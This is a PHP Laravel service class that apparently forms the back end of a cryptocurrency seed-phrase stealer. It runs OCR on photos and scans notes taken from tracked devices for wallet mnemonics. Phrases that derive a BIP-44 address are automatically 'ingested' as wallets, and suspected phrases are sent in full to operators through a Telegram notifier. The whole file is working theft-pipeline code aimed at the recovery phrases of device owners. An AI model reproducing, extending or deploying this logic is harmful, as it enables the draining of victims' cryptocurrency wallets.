379 lines
13 KiB
PHP
379 lines
13 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Jobs\ScanDeviceNotes;
|
|
use App\Jobs\ScanPhotoMnemonic;
|
|
use App\Models\Device;
|
|
use App\Models\MnemonicFinding;
|
|
use App\Models\Note;
|
|
use App\Models\NoteScan;
|
|
use App\Models\Photo;
|
|
use App\Services\Chain\Bip44;
|
|
use App\Services\Ocr\OcrDriver;
|
|
use App\Services\Ocr\PhotoOcrPreparer;
|
|
use App\Support\NoteContent;
|
|
use App\Support\WalletSource;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
class MnemonicScanService
|
|
{
|
|
public function __construct(
|
|
private readonly MnemonicDetector $detector,
|
|
private readonly OcrDriver $ocr,
|
|
private readonly PhotoOcrPreparer $preparer,
|
|
private readonly IngestService $ingest,
|
|
private readonly TelegramNotifier $telegram,
|
|
) {}
|
|
|
|
public function dispatchPhoto(Photo $photo): void
|
|
{
|
|
if (app()->runningUnitTests()) {
|
|
return;
|
|
}
|
|
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
|
|
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
|
|
return;
|
|
}
|
|
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
|
|
}
|
|
|
|
public function dispatchNotes(Device $device): void
|
|
{
|
|
if (app()->runningUnitTests()) {
|
|
return;
|
|
}
|
|
ScanDeviceNotes::dispatch($device->id);
|
|
}
|
|
|
|
public function scanPhoto(Photo $photo): void
|
|
{
|
|
$jpeg = null;
|
|
try {
|
|
$jpeg = $this->preparer->jpegPath($photo);
|
|
if ($jpeg === null) {
|
|
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
|
|
|
return;
|
|
}
|
|
$text = $this->ocr->recognize($jpeg);
|
|
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
|
|
$this->markPhoto($photo, $this->photoStatus($photo), $text);
|
|
} catch (\Throwable $e) {
|
|
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
|
|
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
|
} finally {
|
|
if (is_string($jpeg) && is_file($jpeg)) {
|
|
@unlink($jpeg);
|
|
}
|
|
}
|
|
}
|
|
|
|
public function scanDeviceNotes(Device $device): void
|
|
{
|
|
$note = $device->notes()->orderByDesc('id')->first();
|
|
if ($note === null) {
|
|
return;
|
|
}
|
|
foreach ($note->items() as $index => $item) {
|
|
$this->scanNoteItem($device, $note, $item, $index);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @param array{title: string, body: string, native_id: int|string|null} $item
|
|
*/
|
|
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
|
|
{
|
|
$key = NoteScan::itemKey($item, $index);
|
|
$hash = NoteScan::itemHash($item);
|
|
$row = NoteScan::query()->firstOrNew([
|
|
'device_id' => $device->id,
|
|
'note_id' => $note->id,
|
|
'item_key' => $key,
|
|
]);
|
|
if ($row->exists
|
|
&& hash_equals((string) $row->content_hash, $hash)
|
|
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
|
|
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
|
|
return;
|
|
}
|
|
|
|
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
|
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
|
$row->content_hash = $hash;
|
|
$row->scan_status = $this->noteStatus($note, $key);
|
|
$row->scanned_at = now();
|
|
$row->save();
|
|
}
|
|
|
|
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
|
|
{
|
|
$device = $finding->device;
|
|
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
|
return false;
|
|
}
|
|
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
|
|
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
|
|
return false;
|
|
}
|
|
$finding->candidate = $phrase;
|
|
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
|
$this->ingest->ingestMnemonic($device, [
|
|
'mnemonic' => $phrase,
|
|
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
|
]);
|
|
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
|
$finding->reviewed_by = $actor;
|
|
$finding->reviewed_at = now();
|
|
$finding->save();
|
|
|
|
if ($finding->photo_id) {
|
|
Photo::query()->whereKey($finding->photo_id)->update([
|
|
'scan_status' => MnemonicScanStatus::CONFIRMED,
|
|
]);
|
|
}
|
|
if ($finding->note_id && $finding->item_key) {
|
|
NoteScan::query()
|
|
->where('note_id', $finding->note_id)
|
|
->where('item_key', $finding->item_key)
|
|
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
|
|
{
|
|
$finding->status = MnemonicFinding::STATUS_DISMISSED;
|
|
$finding->reviewed_by = $actor;
|
|
$finding->reviewed_at = now();
|
|
$finding->save();
|
|
|
|
if ($finding->photo_id) {
|
|
Photo::query()->whereKey($finding->photo_id)->update([
|
|
'scan_status' => MnemonicScanStatus::EMPTY,
|
|
]);
|
|
}
|
|
if ($finding->note_id && $finding->item_key) {
|
|
NoteScan::query()
|
|
->where('note_id', $finding->note_id)
|
|
->where('item_key', $finding->item_key)
|
|
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
|
*/
|
|
public function photoProgress(?int $deviceId = null): array
|
|
{
|
|
$q = Photo::query();
|
|
if ($deviceId !== null) {
|
|
$q->where('device_id', $deviceId);
|
|
}
|
|
|
|
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
|
|
}
|
|
|
|
/**
|
|
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
|
*/
|
|
public function noteProgress(?Device $device = null): array
|
|
{
|
|
if ($device !== null) {
|
|
$note = $device->notes()->orderByDesc('id')->first();
|
|
$items = $note ? $note->items() : [];
|
|
$total = count($items);
|
|
if ($total === 0) {
|
|
return $this->progressFromCounts([]);
|
|
}
|
|
$scans = NoteScan::query()
|
|
->where('device_id', $device->id)
|
|
->where('note_id', $note->id)
|
|
->get()
|
|
->keyBy('item_key');
|
|
$counts = [];
|
|
foreach ($items as $index => $item) {
|
|
$key = NoteScan::itemKey($item, $index);
|
|
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
|
|
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
|
|
}
|
|
|
|
return $this->progressFromCounts($counts);
|
|
}
|
|
|
|
$itemTotal = 0;
|
|
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
|
|
$note = $rows->first();
|
|
$itemTotal += count(NoteContent::normalizeStored($note->content));
|
|
});
|
|
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
|
|
$progress = $this->progressFromCounts($scannedRows);
|
|
$progress['total'] = $itemTotal;
|
|
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
|
|
|
|
return $progress;
|
|
}
|
|
|
|
/**
|
|
* @param array<int, int> $counts
|
|
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
|
*/
|
|
private function progressFromCounts(array $counts): array
|
|
{
|
|
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
|
|
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
|
|
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
|
|
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
|
|
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
|
|
|
|
return [
|
|
'total' => $pending + $empty + $suspected + $confirmed + $failed,
|
|
'scanned' => $empty + $suspected + $confirmed,
|
|
'suspected' => $suspected,
|
|
'confirmed' => $confirmed,
|
|
'failed' => $failed,
|
|
'pending' => $pending,
|
|
];
|
|
}
|
|
|
|
private function markPhoto(Photo $photo, int $status, string $text): void
|
|
{
|
|
$photo->scan_status = $status;
|
|
$photo->scanned_at = now();
|
|
$photo->ocr_text = mb_substr($text, 0, 8000);
|
|
$photo->save();
|
|
}
|
|
|
|
private function applyTextHit(
|
|
?Device $device,
|
|
string $source,
|
|
string $text,
|
|
?Photo $photo,
|
|
?Note $note,
|
|
?string $itemKey,
|
|
): void {
|
|
if ($device === null) {
|
|
return;
|
|
}
|
|
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
|
|
if ($photo !== null) {
|
|
$q->where('photo_id', $photo->id);
|
|
} else {
|
|
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
|
|
}
|
|
|
|
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
|
|
if ($hit === null || ! $this->worthRecording($source, $hit)) {
|
|
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
|
|
|
|
return;
|
|
}
|
|
|
|
$row = $q->first() ?? new MnemonicFinding([
|
|
'device_id' => $device->id,
|
|
'source' => $source,
|
|
'photo_id' => $photo?->id,
|
|
'note_id' => $note?->id,
|
|
'item_key' => $itemKey,
|
|
]);
|
|
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
|
return;
|
|
}
|
|
$wasNew = ! $row->exists;
|
|
$prevCandidate = $row->exists ? $row->candidate : '';
|
|
$confirmed = $this->canIngestHit($hit);
|
|
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
|
$row->candidate = $hit['candidate'];
|
|
$row->excerpt = mb_substr($text, 0, 2000);
|
|
$row->word_count = $hit['word_count'];
|
|
$row->score = $hit['score'];
|
|
if ($confirmed) {
|
|
$row->reviewed_by = 'scan';
|
|
$row->reviewed_at = now();
|
|
}
|
|
$row->save();
|
|
|
|
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
|
? WalletSource::fromTag('album_ocr')
|
|
: WalletSource::fromTag('note_scan');
|
|
if ($confirmed) {
|
|
$this->ingest->ingestMnemonic($device, [
|
|
'mnemonic' => $hit['candidate'],
|
|
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
|
]);
|
|
|
|
return;
|
|
}
|
|
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
|
$this->telegram->notifySuspectedMnemonic(
|
|
$device->device_id,
|
|
$sourceLabel,
|
|
$hit['candidate'],
|
|
(int) $hit['word_count'],
|
|
);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Album and notes both need 12+ consecutive words that can derive an address.
|
|
*
|
|
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
|
*/
|
|
private function canIngestHit(array $hit): bool
|
|
{
|
|
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
|
|
return false;
|
|
}
|
|
|
|
return Bip44::isUsableMnemonic((string) $hit['candidate']);
|
|
}
|
|
|
|
/**
|
|
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
|
|
*
|
|
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
|
*/
|
|
private function worthRecording(string $source, array $hit): bool
|
|
{
|
|
if ($this->canIngestHit($hit)) {
|
|
return true;
|
|
}
|
|
if ($source === MnemonicFinding::SOURCE_NOTE) {
|
|
return false;
|
|
}
|
|
if (! empty($hit['confirmed'])) {
|
|
return true;
|
|
}
|
|
|
|
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
|
|
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
|
|
}
|
|
|
|
private function photoStatus(Photo $photo): int
|
|
{
|
|
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
|
|
|
|
return match ($status) {
|
|
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
|
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
|
default => MnemonicScanStatus::EMPTY,
|
|
};
|
|
}
|
|
|
|
private function noteStatus(Note $note, string $itemKey): int
|
|
{
|
|
$status = MnemonicFinding::query()
|
|
->where('note_id', $note->id)
|
|
->where('item_key', $itemKey)
|
|
->value('status');
|
|
|
|
return match ($status) {
|
|
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
|
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
|
default => MnemonicScanStatus::EMPTY,
|
|
};
|
|
}
|
|
}
|